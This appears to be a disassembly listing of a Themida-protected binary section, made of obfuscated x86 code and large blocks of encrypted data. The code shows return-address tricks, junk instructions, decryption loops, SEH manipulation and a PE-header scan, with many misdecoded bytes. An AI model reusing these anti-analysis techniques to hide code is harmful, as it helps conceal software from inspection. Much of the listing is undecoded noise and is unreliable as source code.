pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5CDCEC
jmp short $+2
loc_5CDD07: ; CODE XREF: Themida_:005CDCEAj
mov eax, eax
push 0
push ebp
call sub_5CDD14
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDD14 proc near ; CODE XREF: Themida_:005CDD0Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5CDD14 endp
; ---------------------------------------------------------------------------
test al, 8Ah
fdiv dword ptr [ebx]
mov ebp, 6151E71h
push 0
push esi
call sub_5CDD38
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDD38 proc near ; CODE XREF: Themida_:005CDD30p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5CDD38 endp
; ---------------------------------------------------------------------------
dd 2EE4CC7Bh, 83F9F244h, 151115BDh, 850F0306h, 3D6h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D8C35040h, 94953B28h
dd 0F8AA3F90h, 0BF99BD83h, 0F000618h, 3A584h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0E1950152h, 8B061526h, 152DD1BDh, 99B5FF06h, 6A0618BFh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 0E97BC356h, 0Dh, 24BB1240h, 973D3EA5h, 0EFB3407Fh
dd 0E195FFB3h, 6A061510h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 8B02C357h, 18BF8DB5h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0DBBF0F64h, 106C7h, 6A0001h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A435DEC3h
dd 2C3B319Eh, 60253766h, 2EC18D01h, 0BD890615h, 6152489h
dd 8B519661h, 0F505BFAh, 587h, 0BE30BF00h, 6A966F3Ah, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 2877C350h, 4F220240h, 6860F56h, 89000000h, 152DDDBDh
dd 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 4D54C355h, 0FFFABF0Fh
dd 1506A195h, 559D8906h, 8B06152Ah, 18BF8DB5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0CC4E2855h, 0A257249h, 858B2491h, 6150059h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 7CC35040h, 0F3D08752h
dd 0E28AEF54h, 0C48689F5h, 8B000000h, 21958BDAh, 66061527h
dd 7C40C781h, 8B04C283h, 1533B1BDh, 20508906h, 6E9h, 5C3B8100h
dd 8D144F50h, 18D45885h, 6DBD8906h, 89061519h, 0B886h
dd 0FDB58900h, 6A06150Ch, 0FFFC8A00h, 18BF99B5h, 0F937BF06h
dd 95FF3E84h, 6151D4Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0FFC35242h, 0EB02EB2Bh, 18E944FBh, 0DE86Ch
dd 5FDD0000h, 13626145h, 7B52A837h, 8146E1DFh, 4D9D8D7h
dd 0A1BB5F0Bh, 5061B451h, 348972B3h, 56006A24h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0FD2CC835h
dd 5FCB81F8h, 892F60BEh, 1526659Dh, 99B5FF06h, 660618BFh
dd 0FF8329BBh, 15072995h, 65BD8306h, 61500h, 5F840Fh, 0BD8B0000h
dd 61518BDh, 8E850FCh, 4E000000h, 39C81815h, 0FAB66D8h
dd 1989h, 14E900h, 8CEC0000h, 500DEB1Ch, 84CC9BF6h, 0C1043C83h
dd 0E523CE08h, 895B8FABh, 6A2434h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 8B3AB9C3h, 0A9E54939h
dd 8BF598E6h, 99B5FFFEh, 6A0618BFh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9FB0C356h
dd 0C2166017h, 2625B589h, 95FF0615h, 6150439h, 0E47F47BBh
dd 99B5FF57h, 90618BFh, 1503658Dh, 2800F06h, 8B000000h
dd 0CD95FFD9h, 6A06150Dh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 0C248C352h, 21935E0Fh
dd 2913BBFFh, 1510ED85h, 5DBD8306h, 2061528h, 20840Fh
dd 0BF0F0000h, 49858BDAh, 60061528h, 0B5D18166h, 0C661F5D7h
dd 9D8B0000h, 6150081h, 0DB19589h, 85C70615h, 61523F5h
dd 0
dd 19B99D8Bh, 0C1E90615h, 6AFFFFF3h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 39C6C350h
dd 0C042C17Eh, 0C18B006Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 0BDC35747h, 5B122004h, 0DD168583h, 659D8BFDh
db 28h, 15h, 6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CE1A8
loc_5CE187: ; CODE XREF: sub_5CE1A8+1Aj
jle loc_5CE193
mov ebx, [ebp+61505ADh]
loc_5CE193: ; CODE XREF: Themida_:005CD3FCj
; sub_5CE1A8:loc_5CE187j
call sub_5CE1A8
retn
; END OF FUNCTION CHUNK FOR sub_5CE1A8
; ---------------------------------------------------------------------------
db 32h, 0A0h, 42h
dd 0DD6FD429h, 3727525Ch, 0AC79ADACh
; =============== S U B R O U T I N E =======================================
sub_5CE1A8 proc near ; CODE XREF: sub_5CE1A8:loc_5CE193p
; FUNCTION CHUNK AT 005CE187 SIZE 00000012 BYTES
adc cx, 0B72Fh
pop esi
mov dl, 0BAh
add esi, 75A3h
call sub_5CE1C6
stc
xor [edi+5E3DAF0Ch], dh
jno short loc_5CE187
mov al, 43h
sub_5CE1A8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CE1C6 proc near ; CODE XREF: sub_5CE1A8+Ep
jbe loc_5CE1D2
sub [ebp+6150DE5h], edi
loc_5CE1D2: ; CODE XREF: sub_5CE1C6j
pop edx
mov eax, 0
mov edi, 3F123ED0h
loc_5CE1DD: ; CODE XREF: Themida_:005CE25Dj
push dword ptr [eax+esi]
mov ecx, [ebp+615038Dh]
pop ebx
call sub_5CE1F5
in al, dx
retn
sub_5CE1C6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 75FDh
dd 976AC6Ah
; ---------------------------------------------------------------------------
xchg eax, ebx
; =============== S U B R O U T I N E =======================================
sub_5CE1F5 proc near ; CODE XREF: sub_5CE1C6+21p
mov dx, ax
pop edi
sub ebx, 1886AC4Dh
or [ebp+6151291h], edi
sub ebx, 55224848h
mov dx, 0A38Bh
add ebx, 0DF81405h
push ebx
call near ptr loc_5CE227+2
insb
adc al, 9Fh
imul esi, eax, -5Eh
xor al, 0A8h
dec ecx
xchg al, ch
inc esp
loc_5CE227: ; CODE XREF: sub_5CE1F5+21p
cmp dword ptr [edi+ebx*2-71h], 4
sub_5CE1F5 endp ; sp-analysis failed
push es
mov ecx, 2B4FE025h
jmp loc_5CE244
; ---------------------------------------------------------------------------
db 5Ch
dd 0F7B41ECFh, 8E6C7B49h, 47B4AE07h
; ---------------------------------------------------------------------------
loc_5CE244: ; CODE XREF: Themida_:005CE232j
sub eax, 3234BF9Eh
add [ebp+61508F1h], eax
add eax, 3234BF9Ah
stc
cmp eax, 0FFFF8B24h
jnz loc_5CE1DD
mov edx, 0F0113000h
sub edx, 0F0000000h
add edx, 14h
mov [ebp+6152F99h], edx
sub edx, 14h
lea eax, [ebp+61A48DAh]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
sub eax, edx
and eax, 0FFFFF000h
loc_5CE29C: ; CODE XREF: Themida_:005CE2BEj
cmp word ptr [eax], 5A4Dh
jnz loc_5CE2B9
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz loc_5CE2C3
loc_5CE2B9: ; CODE XREF: Themida_:005CE2A1j
sub eax, 1000h
jmp loc_5CE29C
; ---------------------------------------------------------------------------
loc_5CE2C3: ; CODE XREF: Themida_:005CE2B3j
mov ecx, eax
mov [ebp+6150031h], eax
add eax, [eax+3Ch]
movzx edx, word ptr [eax+6]
mov [ebp+6151D79h], edx
mov edx, [eax+50h]
mov [ebp+6150231h], edx
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ecx
mov [ebp+615119Dh], edx
add edx, [eax+8]
mov [ebp+615099Dh], edx
pop large dword ptr fs:0
add esp, 4
jmp loc_5CE31C
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_5CE31C: ; CODE XREF: Themida_:005CE304j
cmp dword ptr [ebp+61509CDh], 0
jz loc_5CE34D
mov byte ptr [ebp+61509C5h], 47h
push 0D49AA7D2h
push dword ptr [ebp+6152811h]
lea eax, [ebp+61872BCh]
call eax
push 0
call eax
mov [ebp+6150A3Dh], eax
loc_5CE34D: ; CODE XREF: Themida_:005CE323j
mov edx, ebx
lea ecx, [ebp+61A49CCh]
mov [ebp+6150AA1h], edx
push ecx
stc
pop ebx
mov [ebp+6152721h], ecx
add edi, [ebp+61511F9h]
mov dword ptr [ebp+61504CDh], 70E8h
push 0
push edx
call sub_5CE37F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE37F proc near ; CODE XREF: Themida_:005CE377p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5CE37F endp
; ---------------------------------------------------------------------------
db 0A5h
dd 20C5B58Bh, 85C70615h, 6151115h, 0
dd 0AE8h, 0BEB1F800h, 0C7C806E0h, 0FC5254Fh, 281h, 5A5B5000h
dd 2E0DB5FFh, 9D0B0615h, 6152401h, 2C995FFh, 6A0615h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 64958BC3h, 3CDA0E67h, 9D893C8Dh, 615073Dh, 95FF006Ah
db 21h, 2Eh, 15h
; ---------------------------------------------------------------------------
loc_5CE3FB: ; DATA XREF: Themida_:0057A16Co
; Themida_:0057C6C0o
push es
mov eax, eax
jmp short loc_5CE47C
; ---------------------------------------------------------------------------
push ds
push edi
add [edi], esp
cmp al, 0C8h
loc_5CE406: ; CODE XREF: Themida_:005CE407j
lodsd
jge short loc_5CE406
fcomip st, st(3)
xor eax, 1D2181A7h
; ---------------------------------------------------------------------------
dd 0CAAD6F64h, 1A3066DFh, 7E29DCF8h, 1E131B31h, 603D7150h
dd 0CAC985FCh, 0A2727453h, 0F8B9A9AEh, 249F0775h, 0CFDA9389h
dd 442B9A2Ch, 0E988B999h, 0C846BB64h, 0A9286687h, 24101CA3h
dd 8279EBD8h, 5898D3AFh, 0CA6533CCh, 4C7EAA07h, 53F20ECFh
dd 0CA7127BCh, 0C772C3EBh, 210AA99h, 89118BD2h, 4798F8E6h
dd 0AAC11651h, 25E51D28h
; ---------------------------------------------------------------------------
loc_5CE47C: ; CODE XREF: Themida_:005CE3FEj
lea ecx, [ebp+61A4B33h]
push 0
push ebx
call sub_5CE48D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE48D proc near ; CODE XREF: Themida_:005CE485p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5CE48D endp
; ---------------------------------------------------------------------------
db 0A8h, 0BDh, 63h
; ---------------------------------------------------------------------------
mov ebx, 75958BF7h
or ds:218D8906h, edx
daa
adc eax, 53006A06h
call sub_5CE4B9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE4B9 proc near ; CODE XREF: Themida_:005CE4B1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5CE4B9 endp
; ---------------------------------------------------------------------------
mov ds:0D38B66A5h, al
jle loc_5CE4D7
movsx esi, si
loc_5CE4D7: ; CODE XREF: Themida_:005CE4CEj
mov dword ptr [ebp+61504CDh], 69F0h
push 0
push esi
call sub_5CE4EC
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE4EC proc near ; CODE XREF: Themida_:005CE4E4p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5CE4EC endp
; ---------------------------------------------------------------------------
jz short loc_5CE577
add eax, 0EEBCCC33h
sub edi, [ebp+6150429h]
mov al, 0DAh
mov dword ptr [ebp+6151115h], 0
pusha
mov [ebp+6152C91h], ebx
jle loc_5CE524
pusha
popa
loc_5CE524: ; CODE XREF: Themida_:005CE51Cj
popa
push dword ptr [ebp+6152CBDh]
push 0
push edx
call sub_5CE536
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE536 proc near ; CODE XREF: Themida_:005CE52Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5CE536 endp
; ---------------------------------------------------------------------------
dw 1BE0h
; ---------------------------------------------------------------------------
shl byte ptr [edi+62D28372h], 1
db 26h, 36h
add dx, 0F6DDh
call dword ptr [ebp+61502C9h]
push 0
call dword ptr [ebp+6152E21h]
mov eax, eax
jmp short loc_5CE582
; ---------------------------------------------------------------------------
db 89h
dd 9228A9EFh, 0EC3681C2h, 8A147985h
db 19h, 25h, 0AFh
; ---------------------------------------------------------------------------
loc_5CE577: ; CODE XREF: Themida_:005CE4FCj
cmp al, 0B0h
retn 0CC67h
; ---------------------------------------------------------------------------
dd 7BCDB2B0h
; ---------------------------------------------------------------------------
and bl, ah
loc_5CE582: ; CODE XREF: Themida_:005CE565j
jmp loc_5CE59E
; ---------------------------------------------------------------------------
db 7Eh
dd 763BB0h, 4 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5CE59E: ; CODE XREF: Themida_:loc_5CE582j
jmp loc_5CEAA6
; ---------------------------------------------------------------------------
db 98h
dd 58C7AE1Eh, 978C69D9h, 60CFA616h, 8EA570E0h, 0C2D9BC2Ch
dd 0E454D6C9h, 2D9D2211h, 0E959DB48h, 2494170Ch, 0ED588651h
dd 169CB9A4h, 2476C647h, 525F57C7h, 0A0BE80F0h, 86F2FC25h
dd 65AE7F10h, 0ADA29404h, 281AEBDh, 2C8FA492h, 8697ABCh
dd 9B029E98h, 0C0309334h, 1D7EFE35h, 86F263A6h, 16390A10h
dd 4201DB7Fh, 1086F21Fh, 0F280C97Ch, 5A6B1086h, 3861E4E6h
dd 0C31086F2h, 0FC2DDDF2h, 0E54E1080h, 0BD771383h, 0E3D343A4h
dd 4500DEE0h, 1086F21Ch, 751CCEDFh, 8FFF7D4Ah, 0E84F64E6h
dd 22A19278h, 0F2DF02C1h, 8D9E1086h, 10C0B9AAh, 0F3DCE639h
dd 4D1C40C3h, 0D75E1086h, 0D8DC61E8h, 357E97A8h, 82A248B8h
dd 72h, 57C72496h, 0F2BFE45Fh, 3ABB1086h, 0EE525F93h, 5E71E162h
dd 8836758h, 97A81AA5h, 0A2Bh, 40342100h, 9166E511h, 24A58D7Dh
dd 288955C5h, 615E58C8h, 9BC18B89h, 86F2E128h, 1C9F8C10h
dd 2AE783ACh, 44B43BC7h, 64527D52h, 6579E94Fh, 0F285CC77h
dd 84FF1086h, 38572391h, 0A94152CEh, 416CF36Bh, 0ABB32386h
dd 0D9B12186h, 960665BAh, 0C62439FFh, 6748B83Ah, 4FBF422Fh
dd 51C1426Fh, 0D5BC7BB9h, 0FC5DDDEAh, 64C131B7h, 1086F23Dh
dd 74CFEFC0h, 1086F22Dh, 45D0FFD0h, 411D8DEEh, 462494F0h
dd 0EA5ADBC8h, 0FCE34EACh, 0A81C104Dh, 845897h, 5D560000h
dd 9C806ADAh, 6056C624h, 48B8357Eh, 4251636Fh, 7119AF98h
dd 61E445C0h, 1086E638h, 0D9DDF2C3h, 390C6DC8h, 1086E610h
dd 0B1E5CADBh, 1CF799E4h, 868DD410h, 7E82B424h, 753BA817h
dd 0AA08BFEEh, 66C45B3Ah, 0C9E656DAh, 41D6FFCDh, 5F86089h
dd 9C1C0DFDh, 2990EA2Ch, 3B1B3CB6h, 0BA7CB2FAh, 237635D5h
dd 8997A8A3h, 2Dh, 56C6249Dh, 0B4357E60h, 765A644h, 73269F97h
dd 87F77B4Ch, 0C5244AEEh, 0BAE26155h, 0B81086F2h, 2EBB8E41h
dd 0B697A81Ah, 1, 59C924D2h, 446D6F5Dh, 8BCE77E7h, 721086F2h
dd 0EB48C9A1h, 0C3263B7Bh, 0E94E6353h, 137A3D79h, 0A70E37ACh
dd 0A22E8F38h, 0F99CB323h, 1DD0DB1h, 0E454D6DBh, 0D343C1B2h
dd 3E63E2FCh, 0BD1086F2h, 879FFEECh, 34169BFCh, 0C0A7AFFh
dd 56675733h, 80F05360h, 0E74869F5h, 15969377h, 0BBBC99A5h
dd 0B82BEABEh, 1FA6907Ah, 169377F8h, 1BAC1386h, 0D64D2898h
dd 0C0B1E555h, 24E3D343h, 2685426Dh, 77DBFEC5h, 75A21693h
dd 0BF9086F6h, 0AD1DA390h, 3BBEF382h, 0DB9DBD9Fh, 11FD98FAh
dd 4327BC8Ch, 0F8D7h, 0BABB300h, 304003DBh, 0CD169BF6h
dd 0F611380Bh, 0CBDC1693h, 42C1B2E4h, 8FEC43D2h, 0A90A171Fh
dd 0AB0C2539h, 22E54F3Bh, 83446Bh, 4DB00590h, 0D39DBD1Eh
dd 47h, 0C20EABE7h, 0DFFFD040h, 130373D2h, 370E503Ah, 9086F232h
dd 8D6E8B9h, 0DCDA4AABh, 0F21F42E3h, 0CDDE9086h, 0E3C6CAEAh
dd 8E7C5965h, 94FC25A0h, 98FF9086h, 28582925h, 944AAF16h
dd 20F11086h, 7B6F55h, 0AB4B0000h, 4003DB0Bh, 169C0670h
dd 0E9FA3C0Dh, 0A47B1A8Ah, 3A5FE647h, 581693E6h, 0D80A2CE3h
dd 0CAB7699Bh, 0C3BCFA6Ah, 70D3C3ECh, 1693502Eh, 4B7C63D6h
dd 0D9D78E8h, 8AEB4869h, 82231C1Ah, 1693565Fh, 1C220D1Eh
dd 0B499DCA9h, 484E5F10h, 60D02D86h, 80B15936h, 0A0A39303h
dd 8B17959Eh, 9E98B727h, 0E3269DA1h, 8A1CA91Dh, 0F7E6D1B9h
dd 6777A757h, 8ED209DCh, 0DABB8C1Ah, 0DB0BAB4Eh, 3DA54003h
dd 673816A1h, 51C1422Fh, 0A40C6FC4h, 2F967CEEh, 169CB3EAh
dd 8EB78091h, 340A253Ah, 0A4350523h, 0BA5000D5h, 6EF2F97Ch
dd 8DEC86B2h, 6C70992Ch, 2AFB66BAh, 0A1201105h, 92F90531h
dd 71F8B82Bh, 0BA2A893Eh, 0C60BBAA4h, 0A566BA6Ch, 0A9199F94h
dd 8BA8B2C1h, 817EB828h, 5BCB28E9h, 72E2465Bh, 0E5D84144h
dd 24F161E2h, 0FA3CAC0Fh, 7AA84314h, 0BB42240Fh, 10F3CFh
dd 4FC70000h, 0F293B68Dh, 2D5A1086h, 98725DCDh, 0CA2496A6h
dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h
dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 56783C7Ah, 0C681E689h
dd 4, 8704EE83h, 895C2434h, 89572404h, 4C781E7h, 83000000h
dd 3C8704EFh, 1C895C24h, 4D256824h, 4890000h, 0B685124h
dd 596D0B76h, 2B60C181h, 0F1817278h, 0D999EA1Fh, 0C8BCB89h
dd 4C48124h, 68000000h, 254h, 83242489h, 58042404h, 89DA8952h
dd 148B0850h, 4C48324h
; ---------------------------------------------------------------------------
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_581882
; ---------------------------------------------------------------------------
dw 1A84h
dd 2D8795A4h, 0D7829140h
db 0A3h, 0B2h
; ---------------------------------------------------------------------------
loc_5CEAA6: ; CODE XREF: Themida_:loc_5CE59Ej
mov eax, 61A4FE4h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 74h
dd 0EF4B5037h, 0AA68A2FAh, 1663560Ch, 54179EE1h, 0E03809EFh
dd 7C21BB55h, 0DE6ADCA5h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh
dd 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338D2FF6h
dd 0FFB44E60h, 0F867A5E4h, 0A08D0E22h, 2124A3BEh, 7967202Bh
dd 0D91DA3BAh, 0D71B2026h, 338D2FFEh, 831D2933h, 0C0982633h
dd 0BCC88AB6h, 0D6157635h, 0AF8276ADh, 510DD963h, 839E333Eh
dd 35982664h, 1F152359h, 4B82769Dh, 381DAB63h, 39E3C63h
dd 0AD29B3CCh, 14932026h, 6AA1A23Ch, 0B0152633h, 9C82769Dh
dd 4DAACE63h, 0F6D82633h, 32CA3BEh, 24C82029h, 0CEC888B6h
dd 0FF677635h, 338D091Ah, 1794E2B0h, 57C888B6h, 23157635h
dd 558276ADh, 2C0DD963h, 3D9E333Eh, 6A982651h, 6474AD66h
dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch
dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h
dd 0E868AD03h, 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h
dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h
dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C8276AFh
dd 1C49ABBEh, 93202029h, 78000000h, 271E7FCh, 0C8D00731h
dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 61A51D1h, 51F08D8Dh
dd 0CF2B061Ah, 8B05E983h, 0AE8C8h, 1EBD0000h, 20ADBD5Ah
dd 0D991D965h, 91958959h, 81061533h, 71CEC1h, 68D78B00h
dd 0
; ---------------------------------------------------------------------------
xor eax, 1D1C99A2h
pop ebx
cld
loc_5CEC4C: ; CODE XREF: Themida_:005CECA4j
mov esi, [ecx+ebx]
sbb dh, 18h
xor esi, 5459A010h
adc eax, 469D5462h
sub esi, 49CDF69Fh
add esi, 69C501B7h
mov eax, ebx
push esi
mov [ebp+6152D01h], edx
pop dword ptr [ecx+ebx]
sbb dx, 0AFB9h
or edx, [ebp+61518F5h]
sub ebx, 6C3CF241h
mov [ebp+6152489h], esi
add ebx, 6C3CF23Dh
jno loc_5CEC9E
add di, 547Dh
loc_5CEC9E: ; CODE XREF: Themida_:005CEC93j
cmp ebx, 0FFFF8EB8h
jnz loc_5CEC4C
sub [ebp+6151431h], edx
call near ptr loc_5CECB8+2
jle short loc_5CECD1
push es
loc_5CECB8: ; CODE XREF: Themida_:005CECB0p
mov ds:0CA8B667Ah, al
pop esi
jns $+6
add esi, 5E6Dh
mov dh, 96h
push 0
loc_5CECD1: ; CODE XREF: Themida_:005CECB5j
mov ecx, 37BA2FA0h
pop edi
mov cx, bx
; START OF FUNCTION CHUNK FOR sub_5CED59
loc_5CECDA: ; CODE XREF: sub_5CED59+7j
push dword ptr [edi+esi]
mov edx, 4B4A3266h
pop eax
mov [ebp+615272Dh], esi
add eax, 75837000h
mov bh, 14h
add eax, 1DF480B9h
mov ecx, [ebp+6151339h]
sub eax, 1CDC5591h
mov edx, 6742AF97h
push eax
or [ebp+61516CDh], ecx
pop dword ptr [esi+edi]
adc dh, 15h
sbb edx, 49BF692Fh
sub edi, 4 ; CODE XREF: sub_5CED59-13j
mov ecx, [ebp+615216Dh]
cmp edi, 0FFFFA24Ch
jnz loc_5CED41
mov [ebp+61528B1h], ecx
jmp loc_5CED72
; END OF FUNCTION CHUNK FOR sub_5CED59
; ---------------------------------------------------------------------------
db 0F4h
dd 0A7853A9Bh
db 0D1h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CED59
loc_5CED41: ; CODE XREF: sub_5CED59-2Fj
call sub_5CED59
jb short near ptr loc_5CED1B+1
db 3Eh
pop esi
mov word ptr [esi-43h], ss
icebp
push edx
stosb
sbb edx, [edx]
hlt
; END OF FUNCTION CHUNK FOR sub_5CED59
; ---------------------------------------------------------------------------
add cl, dh
aad 0D2h
jz short loc_5CED8C
; =============== S U B R O U T I N E =======================================
sub_5CED59 proc near ; CODE XREF: sub_5CED59:loc_5CED41p
; FUNCTION CHUNK AT 005CECDA SIZE 00000061 BYTES
; FUNCTION CHUNK AT 005CED41 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005CED72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CED7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CF1AA SIZE 00000009 BYTES
mov [ebp+615189Dh], edx
pop ecx
jmp loc_5CECDA
sub_5CED59 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 65h, 0C1h, 9Fh
dd 0A294EF7Eh, 91CE8630h
db 0E0h, 93h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CED59
loc_5CED72: ; CODE XREF: sub_5CED59-23j
jmp loc_5CED7D
; END OF FUNCTION CHUNK FOR sub_5CED59
; ---------------------------------------------------------------------------
db 5Fh
db 86h, 0D2h
dw 24h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CED59
loc_5CED7D: ; CODE XREF: sub_5CED59:loc_5CED72j
jmp loc_5CF1AA
; END OF FUNCTION CHUNK FOR sub_5CED59
; ---------------------------------------------------------------------------
dw 0F777h
dd 0C041EE87h, 0F6EC550h
; ---------------------------------------------------------------------------
loc_5CED8C: ; CODE XREF: Themida_:005CED57j
lahf
imul byte ptr [ecx]
mov dword ptr [edi-42h], 0D4A11171h
xlat
aam 0D9h
pop ecx
jmp near ptr 20ED04ABh
; ---------------------------------------------------------------------------
db 55h
dd 7EE5EDEh, 4A2B9B18h, 0ABEE5579h, 52169CA1h, 0C724AB91h
dd 0F0525F57h, 0BD3EF580h, 0DB58494Dh, 0B3362B6Bh, 0B3367B43h
dd 0F16DA743h, 2784436Ah, 0F351DEB7h, 0BF3DF283h, 0D55A474Fh
dd 0E3523165h, 5DE8F6FCh, 1086F234h, 704E6B7h, 0D36035A5h
dd 0AF160070h, 1086F26Fh, 86C3EA8Bh, 97A81A23h, 0E72A99C3h
dd 0F91086FEh, 899A0676h, 5841E1h, 4F550000h, 0F293B68Dh
dd 2D5A1086h, 67585ECEh, 1271A248h, 3C29CA2h, 1086F2DEh
dd 0A414709Dh, 0BA2A888Bh, 2DE7837Ch, 86F281C6h, 6954E510h
dd 0A81A5DE0h, 1E397h, 24B70000h, 506155C5h, 9C9581F1h
dd 0F66AAC1Ch, 2287406Fh, 3A77E3B2h, 704D49B9h, 0AA1A999Ah
dd 0C6245DCBh, 0EE536056h, 1881387Eh, 83E44DA5h, 402A2313h
dd 16FF6FD3h, 9C1EAA09h, 3A15EA2Ch, 1686E7FCh, 0C0EFAA20h
dd 0A81C5489h, 7F9C97h, 24700000h, 536056C6h, 1C9482F2h
dd 6BC82A95h, 40F19909h, 6CC352C2h, 8B989E0Eh, 88A9B525h
dd 0A5A0B727h, 0EA184886h, 0F94FBDADh, 5FBA8F3Eh, 0C597A8D3h
dd 65h, 0E2624FE1h, 9F4B4472h, 76A01072h, 0AF8FFF7Dh, 3759B6A6h
dd 0D9E5DA4Eh, 8615276Ah, 15F5C610h, 3BAB0A17h, 6FB211FBh
dd 0E108615h, 0E672F63Dh, 2E1F1787h, 9B01501h, 3A6515D6h
dd 0A2170308h, 406F1A8Dh, 0E2B32387h, 0DD624F56h, 2D8C7D6Dh
dd 0D2FA79BDh, 101086F2h, 0A61336A9h, 2E97A81Ah, 1, 3DC9240Ah
dd 734C4ABAh, 0DE55825Ch, 9128FDACh, 849D9773h, 0AEA7B727h
dd 725A0ACBh, 9D9773FFh, 7C0EF96h, 575F36A6h, 756777A7h
dd 0B951C13Ch, 9BF83A0Ah, 0CA793B16h, 1693FD87h, 16A15D66h
dd 86162F44h, 9A0A6AA9h, 137081B5h, 0DE5DD2A3h, 0E163506Eh
dd 189B9971h, 1693E9F3h, 22A51881h, 0CF6431A1h, 0A9BAFC6Ch
dd 1DDCDA4Ah, 0FD7E4974h, 30BDE88Dh, 0B89DBD35h, 0FCh
dd 0BF0BABD4h, 0DCE2CD3Dh, 9BF60969h, 0B3E3B416h, 28CD3DBEh
dd 0AC1778FBh, 1693F665h, 1E183708h, 36A605h, 6A5D5049h
dd 6CC59909h, 0A1EC9E0Eh, 0BD1EA914h, 362F9Dh, 0AB0B0000h
dd 4500DE0Eh, 9086F23Ch, 4DA8EEBFh, 9086F204h, 410DC067h
dd 0B78E5080h, 1086F2B2h, 7DED4C39h, 8A6B4439h, 9C0C73C0h
dd 0B727899Ah, 8DD2F298h, 0E6000000h, 5EFF864Fh, 0F563ACBEh
dd 0ABDB9B15h, 5B803093h, 0ECBD169Ch, 3A5E05D2h, 0F7F1EC5Dh
